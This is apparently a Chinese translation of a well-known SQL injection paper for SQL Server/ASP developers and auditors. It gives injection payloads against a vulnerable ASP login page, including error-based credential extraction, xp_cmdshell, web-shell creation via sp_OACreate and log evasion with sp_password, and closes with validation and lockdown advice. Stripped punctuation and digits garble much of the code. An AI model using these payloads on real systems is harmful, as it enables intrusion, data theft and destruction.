摘要:这份文档是详细讨论SQL注入技术它适应于比较流行的IIS+ASP+SQLSERVER平台它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中并且记录与攻击相关的数据确认和数据库锁定
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家
介绍:
SQL是一种用于关系数据库的结构化查询语言它分为许多种但大多数都松散地基于美国国家标准化组织最新的标准SQL典型的执行语句是query它能够收集比较有达标性的记录并返回一个单一的结果集SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)在这份文档中我们将特别讨论SQLSERVER所使用的TransactSQL语言
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去我们管这种方法定义成SQL注入
一个典型的SQL语句如下:
Select idforenamesurname from authors
这条语句将返回authors表中所有行的idforename和surname列这个结果可以被限制例如:
Select idforenamesurname from authors where forenamejohn and surname=smith
需要着重指明的是字符串john和smith被单引号限制明确的说forename和surname字段是被用户提供的输入限制的攻击者可以通过输入值来往这个查询中注入一些SQL语句
如下:
Forename:john
Surname:smith
查询语句变为:
Select idforenamesurname from authors where forename=john and surname=smith
当数据库试图去执行这个查询时它将返回如下错误:
Server:Msg Level State Line
Line :Incorrect syntax near hn
造成这种结果的原因是插入了作为定界符的单引号数据库尝试去执行hn但是失败如果攻击者提供特别的输入如:
Forename:jo;drop table authors—
Surname:
结果是authors表被删除造成这种结果的原因我们稍后再讲
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题这是可行的但是用这种方法做解决方法会存在几个困难第一并不是所有用户提供的数据都是字符串如果用户输入的是通过用户id来查询author那我们的查询应该像这样:
Select idforenamesurname from authors where id=
在这种情况下一个攻击者可以非常简单地在数字的结尾添加SQL语句在其他版本的SQL语言中使用各种各样的限定符号;在数据库管理系统JET引擎中数据可以被使用#限定第二避免单引号尽管看上去可以但是是没必要的原因我们稍后再讲
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鑒别进入一些虚构的应用程序的权限
这是一个提交表单页的代码让用户输入用户名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor= text=cccccc>
<FONT Face=tahoma color=cccccc>
<CENTER><H>Login</H>
<FORM action=process_loginasp method=post>
<TABLE>
<TR><TD>Username</TD><TD><INPUT type=text name=username size= width=></TD></TR>
<TR><TD>Password</TD><TD><INPUT type=password name=password size= withd=></TD></TR>
</TABLE>
<INPUT type=submit value=Submit><INPUT type=reset value=Reset>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_loginasp的代码它是用来控制登陆的
<HTML>
<BODY bgcolor= text=ffffff>
<FONT Face=tahoma color=ffffff>
<STYLE>
p { fontsize=pt ! important}
font { fontsize=pt ! important}
h { fontsize=pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Requestform(debug) == true )
Responsewrite( str );
}
function Login( cn ) {
var username;
var password;
username = Requestform(username);
password = Requestform(password);
var rso = ServerCreateObject(ADODBRecordset);
var sql = select * from users where username = + username + and password = + password + ; trace( query: + sql );
rsoopen( sql cn );
if (rsoEOF) {
rsoclose();
%>
<FONT Face=tahoma color=cc>
<H> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H>
</BODY>
</HTML>
<% Responseend return; }
else {
Session(username) = + rso(username);
%>
<FONT Face=tahoma color=cc>
<H> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome <% Responsewrite(rso(Username)); Responsewrite( </BODY></HTML> ); Responseend }
}
function Main() { //Set up connection
var username
var cn = Servercreateobject( ADODBConnection );
cnconnectiontimeout = ;
cnopen( localserver sa password );
username = new String( Requestform(username) );
if( usernamelength > ) {
Login( cn );
}
cnclose();
}
Main();
%>
出现问题的地方是process_lginasp中产生查询语句的部分:
Var sql=select * from users where username=+username+ and password=+password+;
如果用户输入的信息如下:
Username:;drop table users—
Password:
数据库中表users将被删除拒绝任何用户进入应用程序—符号在TransactSQL中表示忽略—以后的语句;符号表示一个查询的结束和另一个查询的开始—位于username字段中是必须的它为了使这个特殊的查询终止并且不返回错误
攻击者可以只需提供他们知道的用户名就可以以任何用户登陆使用如下输入:
Username:admin—
攻击者可以使用users表中第一个用户输入如下:
Username: or =—
更特别地攻击者可以使用完全虚构的用户登陆输入如下:
Username: union select fictional_usersome_password—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分
通过错误消息获得信息
这个几乎是David Litchfield首先发现的并且通过作者渗透测试的;后来David写了一份文档后来作者参考了这份文档这些解释讨论了错误消息潜在的机制使读者能够完全地了解它潜在地引发他们的能力
为了操作数据库中的数据攻击者必须确定某些数据库和某些表的结构例如我们可以使用如下语句创建user表:
Create talbe users(
Id int
Username varchar()
Password varchar()
Privs int
)
然后将下面的用户插入到users表中:
Insert into users values(adminrtrx!xffff)
Insert into users values(guestguestx)
Insert into users values(chrispasswordxff)
Insert into users values(fredsesamexff)
如果我们的攻击者想插入一个自己的用户在不知道users表结构的情况下他不可能成功即使他比较幸运至于privs字段不清楚攻击者可能插入一个这样只给他自己一个低权限的用户
幸运地如果从应用程序(默认为ASP行为)返回错误消息那么攻击者可以确定整个数据库的结构并且可以以程序中连接SQLSERVER的权限度曲任何值
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先攻击者想获得建立用户的表的名字和字段的名字要做这些攻击者需要使用select语法的having子句:
Username: having =—
这样将会出现如下错误:
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Column usersid is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause
/process_loginasp line
因此现在攻击者知道了表的名字和第一个地段的名字他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名如下:
Username: group by usersid having =—
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Column usersusername is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause
/process_loginasp line
最终攻击者得到了username字段后:
group by usersidusersusernameuserspasswordusersprivs having =—
这句话并不产生错误相当于:
select * from users where username=
因此攻击者现在知道查询涉及users表按顺序使用列idusernamepasswordprivs
能够确定每个列的类型是非常有用的这可以通过使用类型转化来实现例如:
Username: union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument
/process_loginasp line
这告诉了我们username字段的类型是varchar如果是另一种情况我们尝试去计算sum()的是数字类型我们得到的错误消息告诉我们两个集合的字段数量不相等
Username: union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists
/process_loginasp line
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型
这样攻击者就可以写一个好的insert查询例如:
Username:;insert into users values(attackerfoobarxffff)—
这种技术的潜在影响不仅仅是这些攻击者可以利用这些错误消息显示环境信息或数据库通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master sysmessages
解释这些将实现有趣的消息
一个特别有用的消息关系到类型转化如果你尝试将一个字符串转化成一个整型数字那么字符串的所有内容会返回到错误消息中例如在我们简单的登陆页面中在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username: union select @@version—
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Microsoft SQL Server (Intel X) Aug :: Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT (Build : Service Pack ) to a column of data type int
/process_loginasp line
这句尝试去将内置的@@version常量转化成一个整型数字因为users表中的第一列是整型数字
这种技术可以用来读取数据库中任何表的任何值自从攻击者对用户名和用户密码比较感兴趣后他们比较喜欢去从users表中读取用户名例如:
Username: union select min(username) from users where username>a—
这句选择users表中username大于a中的最小值并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value admin to a column of data type int
/process_loginasp line
因此攻击者已经知道用户admin是存在的这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户
Username: union select min(username) from users where username>admin—
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value chris to a column of data type int
/process_loginasp line
一旦攻击者确定了用户名他就可以开始收集密码:
Username: union select password from users where username=admin—
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value rtrx! to a column of data type int
/process_loginasp line
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串然后尝试把它转化成整型数字这个例子指出:TransavtSQL语法能够在不改变相同的行的意思的情况下把它们连接起来下面的脚本将把值连接起来:
begin declare @ret varchar()
set @ret=:
select @ret=@ret+ +username+/+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
Username: ; begin declare @ret varchar() set @ret=: select @ret=@ret+ +username+/+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表里面只有一个单独的列ret里面存放着我们得到的用户名和密码的字符串正常情况下一个低权限的用户能够在同一个数据库中创建表或者创建临时数据库
然后攻击者就可以取得我们要得到的字符串:
Username: union select ret from foo—
Microsoft OLE DB Provider for ODBC Drivers error e
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value : admin/rtrx! guest/guest chris/password fred/sesame to a column of data type int
/process_loginasp line
然后丢弃(删除)表来清楚脚印:
Username:; drop table foo—
这个例子仅仅是这种技术的一个表面的作用没必要说如果攻击者能够从数据库中获得足够的错误西他们的工作就变的无限简单
获得更高的权限
一旦攻击者控制了数据库他们就想利用那个权限去获得网络上更高的控制权这可以通过许多途径来达到:
在数据库服务器上以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令
利用xp_regread扩展存储过程去读注册表的键值当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
利用其他存储过程去改变服务器
在连接的服务器上执行查询
创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
使用bulk insert语法去读服务器上的任意文件
使用bcp在服务器上建立任意的文本格式的文件
使用sp_OACreatesp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量攻击者很可能使用其它方法我们介绍收集到的攻击关于SQL服务器的明显攻击方法为了说明哪方面可能并被授予权限去注入SQL我们将依次处理以上提到的各种方法:
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中执行各种各样的功能例如发送电子邮件和与注册表交互
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程例如:
Exec masterxp_cmdshell dir
将获得SQLSERVER进程的当前工作目录中的目录列表
Exec masterxp_cmdshell net user
将提供服务器上所有用户的列表当SQLSERVER正常以系统帐户或域帐户运行时攻击者可以做出更严重的危害
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下:
exec xp_regread HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\lanmanserver\parameters nullsessionshares
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities
这将显示服务器上所有SNMP团体配置在SNMP团体很少被更改和在许多主机间共享的情况下有了这些信息攻击者或许会重新配置同一网络中的网络设备
这很容易想象到一个攻击者可以利用这些函数读取SAM修改系统服务的配置使它下次机器重启时启动或在下次任何用户登陆时执行一条任意的命令
[其他存储过程]
xp_servicecontrol过程允许用户启动停止暂停和继续服务:
exec masterxp_servicecontrol startschedule
exec masterxp_servicecontrol startserver
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据这个链接存放在mastersysservers表中如果一个连接的服务器已经被设置成使用sp_addlinkedsrvlogin过程当前可信的连接不用登陆就可以访问到服务器openquery函数允许查询脱离服务器也可以执行
[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务使用命令行有几个方法可以上传动态连接库到SQL服务器上还有其它包括了多种自动通讯的通讯机制比如HTTP下载和FTP脚本
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc xp_webserverc:\temp\xp_foodll
在正常的方式下这个扩展存储过程可以被运行:
exec xp_webserver
一旦这个程序被运行可以使用下面的方法将它除去:
xp_dropextendedproc xp_webserver
[将文本文件导入表]
使用bulk insert语法可以将一个文本文件插入到一个临时表中简单地创建这个表:
create table foo( line varchar() )
然后执行bulk insert操作把文件中的数据插入到表中如:
bulk insert foo from c:\inetpub\wwwroot\process_loginasp
可以使用上述的错误消息技术或者使用union选择使文本文件中的数据与应用程序正常返回的数据结合将数据取回这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的
[使用bcp建立文本文件]
使用bulk insert的相对技术可以很容易建立任意的文本文件不幸的是这需要命令行工具bcp即bulk copy program
既然 bcp可以从SQL服务进程外访问数据库它需要登陆这代表获得权限不是很困难既然攻击者能建立或者利用整体安全机制(如果服务器配置成可以使用它)
命令行格式如下:
bcp select * from textfoo queryout c:\inetpub\wwwroot\runcommandasp –c Slocalhost –Usa –Pfoobar
S参数为执行查询的服务器U参数为用户名P参数为密码这里为foobar
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程这些脚本和运行在windows脚本解释器下的脚本或者ASP脚本程序一样——他们使用VBScript或JavaScript书写他们创建自动执行对象并和它们交互一个自动执行脚本使用这种方法书写可以在TransactSQL中做任何在ASP脚本中或者WSH脚本中可以做的任何事情为了阐明这鞋这里提供了几个例子:
()这个例子使用wscriptshell对象建立了一个记事本的实例:
wscriptshell example
declare @o int
exec sp_oacreate wscriptshell@o out
exec sp_oamethod @orunNULLnotepadexe
我们可以通过指定在用户名后面来执行它:
Username:; declare @o int exec sp_oacreate wscriptshell@o out exec sp_oamethod @orunNULLnotepadexe—
()这个例子使用scriptingfilesystemobject对象读一个已知的文本文件:
scriptingfilesystemobject example – read a known file
declare @o int @f int @t int @ret int
declare @line varchar()
exec sp_oacreate scriptingfilesystemobject @o out
exec sp_oamethod @o opentextfile @f out c:\bootini
exec @ret=sp_oamethod @freadline@line out
while(@ret=)
begin
print @line
exec @ret=sp_oamethod @freadline@line out
end
()这个例子创建了一个能执行通过提交到的任何命令:
scriptingfilesystemobject example – create a run thisasp file
declare @o int@f int@t int@ret int
exec sp_oacreate scriptingfilesystemobject@o out
exec sp_oamethod @ocreatetextfile@f outc:\inetpub\wwwroot\fooasp
exec @ret=sp_oamethod @fwritelineNULL
需要指出的是如果运行的环境是WIN NT+IIS平台上那么通过这个程序运行的命令是以系统权限运行的在IIS中它以一个比较低的权限IWAM_XXXaccount运行
()这些例子阐述了这个技术的适用性;它可以使用speechvoicetext对象引起SQL SERVER发声:
declare @o int@ret int
exec sp_oacreate speechvoicetext@o out
exec sp_oamethod @oregisterNULLfoobar
exec sp_oasetproperty @ospeed
exec sp_oamethod @ospeakNULLall your sequel servers are belong tous
waitfor delay ::
我们可以在我们假定的例子中通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本同时以admin权限登陆到应用程序):
Username:admin;declare @o int@ret int exec sp_oacreate speechvoicetext@o out exec sp_oamethod @oregisterNULLfoobar exec sp_oasetproperty @ospeed exec sp_oamethod @ospeakNULLall your sequel servers are belong to us waitfor delay ::
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程那么SQL注入是不可能的这句话只对了一半这要看ASP脚本中调用这个存储过程的方式
本质上如果一个有参数的查询被执行 并且用户提供的参数通过安全检查才放入到查询中那么SQL注入明显是不可能发生的但是如果攻击者努力影响所执行查询语句的非数据部分这样他们就可能能够控制数据库
比较好的常规的标准是:
· 如果一个ASP脚本能够产生一个被提交的SQL查询字符串即使它使用了存储过程也是能够引起SQL注入的弱点
· 如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象)那么通过这个对象的执行它一般是安全的
明显地既然新的攻击技术始终地被发现好的惯例仍然是验证用户所有的输入
为了阐明存储过程的查询注入执行以下语句:
sp_who select * from sysobjects
or
sp_who ;select * from sysobjects
任何一种方法在存储过程后追加的查询依然会执行
[高级SQL注入]
通常情况下一个web应用程序将会过滤单引号(或其他符号)或者限定用户提交的数据的长度
在这部分我们讨论一些能帮助攻击者饶过那些明显防范SQL注入躲避被记录的技术
[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序他们可能使用VBScript中的replace函数或类似:
function escape(input)
input=replace(input)
escape=input
end function
无可否认地这防止了我们所有例子的攻击再除去;符号也可以帮很多忙但是在一个大型的应用程序中好象个别值期望用户输入的是数字这些值没有被限定因此为攻击者提供了一个SQL注入的弱点
如果攻击者想不使用单引号产生一个字符串值他可以使用char函数例如:
insert into users values(
char(x)+char(x)+char(x)+charx)+char(x) char(x)+char(x)+char(x)+charx)+char(x)
xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询
淡然如果攻击者不介意使用一个数字用户名和密码下面的语句也同样会起作用:
insert into users values(oxffff)
SQL SERVER自动地将整型转化为varchar型的值
[SecondOrder SQL Injection]
即使应用程序总是过滤单引号攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用
例如攻击者可能利用下面的信息在应用程序中注册:
Username:admin—
Password:password
应用程序正确过滤了单引号返回了一个类似这样的insert语句:
insert into users values(admin—passwordxffff)
我们假设应用程序允许用户修改自己的密码这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码代码如下:
username = escape( Requestform(username) );
oldpassword = escape( Requestform(oldpassword) );
newpassword = escape( Requestform(newpassword) );
var rso = ServerCreateObject(ADODBRecordset);
var sql = select * from users where username = + username + and password = + oldpassword + ;
rsoopen( sql cn );
if (rsoEOF)
{
…
设置新密码的代码如下:
sql = update users set password = + newpassword + where username = + rso(username) +
rso(username)为登陆查询中返回的用户名
当username为admin—时查询语句为:
update users set password = password where username=admin—
这样攻击者可以通过注册一个admin—的用户来根据自己的想法来设置admin的密码
这是一个非常严重的问题目前在大型的应用程序中试图去过滤数据最好的解决方法是拒绝非法输入这胜于简单地努力去修改它这有时会导致一个问题非法的字符在那里是必要的例如在用户名中包含符号例如
OBrien
从一个安全的观点来看最好的解答是但引号不允许存在是一个简单的事实如果这是无法接受的话他们仍然要被过滤;在这种情况下保证所有进入SQL查询的数据都是正确的是最好的方法
如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据这种方式的攻击也是可能的应用程序可能有email接口或者可能在数据库中可以存储错误日志这样攻击者可以努力控制它验证所有数据包括数据库中已经存在的数据始终是个好的方法确认函数将被简单地调用例如:
if(not isValid(emailrequestquerystring(email))) then
responseend
或者类似的方法
[长度限制]
为了给攻击者更多的困难有时输入数据的长度是被限制的当这个阻碍了攻击时一个小的SQL可以造成很严重的危害例如:
Username:;shutdown—
这样只用个输入字符就将停止SQL SERVER实例另一个例子是:
drop table
如果限定长度是在过滤字符串后应用将会引发另一个问题假设用户名被限定个字符密码也被限定个字符那么下面的用户名和密码结合将会执行上面提到的shutdown命令:
Username:aaaaaaaaaaaaaaa
Password:; shutdown—
原因是应用程序尝试去过滤用户名最后的单引号但是字符串被切断成个字符删除了过滤后的一个单引号这样的结果就是如果密码字段以单引号开始它可以包含一些SQL语句既然这样查询看上去是:
select * from users where username=aaaaaaaaaaaaaaa and password=;shutdown—
实际上查询中的用户名已经变为:
aaaaaaaaaaaaaaa and password=
因此最后的SQL语句会被执行
[审计]
SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口它包含在sp_traceXXX类的函数中特别有意思的是能够记录所有SQL语句然后在服务器上执行的TSQL的事件如果这种审计是被激活的我们讨论的所有注入的SQL查询都将被记录在数据库中一个熟练的数据库管理员将能够知道发生了什么事不幸地如果攻击者追加以下字符串:
Sp_password
到一个TransactSQL语句中这个审计机制记录日志如下:
sp_password was found in the text of this event
The text has been replaced with this comment for security reasons
这种行为发生在所有的TSQL日记记录中即使sp_password发生在一个注释中这个过程打算通过sp_password隐藏用户的密码但这对于一个攻击者来说是非常有用的方法
因此为了隐藏所有注入攻击者需要简单地在—注释字符后追加sp_password例如:
Username:admin—sp_password
事实上一些被执行的SQL将被记录但是查询本身将顺利地从日志中消失
[防范]
这部分讨论针对记述的攻击的一些防范我们将讨论输入确认和提供一些简单的代码然后我们将从事SQL SERVER锁定
[输入验证]
输入验证是一个复杂的题目比较有代表性的是自从过于严密地确认倾向于引起部分应用程序的暂停输入确认问题很难被解决在项目开发中投入很少的注意力在输入确认上输入确认不是倾向于将它加入到应用程序的功能当中因此它一般会被忽视
下面是一个含有简单代码的讨论输入确认的大纲这个简单的代码不能直接用于应用程序中但是它十分清晰地阐明了不同的策略
不同的数据确认方法可以按以下分类:
) 努力修改数据使它成为正确的
) 拒绝被认为是错误的输入
) 只接收被认为是正确的输入
第一种情况有一些概念上的问题;首先开发人员没必要知道那些是错误数据因为新的错误数据的形式始终被发现其次修改数据会引起上面描述过的数据的长度问题最后二次使用的问题包括系统中已经存在数据的重新使用
第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化
第三种情况可能是三种中最好的但是很难实现
从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入然后搜索输入中已知的错误数据
带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:
Quentin BassingtonBassington
我们必须在正确输入中允许连接符号但是我们也意识到字符序列—对SQL SERVER很重要
当合并修改数据和字符序列确认时会出现另一个问题例如如果我们应用一个错误过滤在除去单引号之后去探测—select和union攻击者可以输入:
union select @@version
既然单引号被除去攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现
这有一些确认代码的例子:
方法一过滤单引号
function escape(input)
input=replace(input)
escape=input
end function
方法二拒绝已知的错误输入
function validate_string(input)
known_bad=array(selectinsertupdatedeletedrop—)
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(inputknown_bad(i)vbtextcompare)<>) then
validate_string=false
exit function
end if
next
end function
方法三只允许正确的输入
function validatepassword(input)
good_password_chars= abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
validatepassword=true
for i= to len(input)
c=mid(inputI)
if(InStr(good_password_charsc)=) then
validatepassword=false
exit function
end if
next
end function
[SQL SERVER锁定]
在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不安全的这是一个但创建SQL SERVER时需要做的事情的简短的列表:
确定连接服务器的方法
a确定你所使用的网络库是可用的那么使用Network Utility
确定哪些帐户是存在的
a为应用程序的使用创建一个低权限的帐户
b删除不必要的帐户
c确定所有帐户有强壮的密码;执行密码审计
确定哪些对象存在
a许多扩展存储过程能被安全地移除如果这样做了应该移除包含在扩展存储过程代码中的dll文件
b移除所有示例数据库——例如northwind和pubs数据库
确定哪写帐户能过使用哪些对象
a应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限
确定服务器的补丁
a针对SQL SERVER有一些缓沖区溢出和格式化字符串攻击也有一些其他的安全补丁发布应该存在很多
确定什么应该被日志记录什么应该在日志中结束
[参考文献]
[] Web Application Disassembly with ODBC Error Messages David Litchfield
http://wwwnextgensscom/papers/webappdisdoc
[] SQL Server Security Checklist
http://wwwsqlsecuritycom/checklistasp
[] SQL Server Extended Stored Procedure Vulnerability
http://wwwatstakecom/research/advisories//atxt
[] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://wwwatstakecom/research/advisories//atxt
[] Multiple Buffer Format String Vulnerabilities In SQL Server
http://wwwmicrosoftcom/technet/security/bulletin/MSasp
http://wwwatstakecom/research/advisories//atxt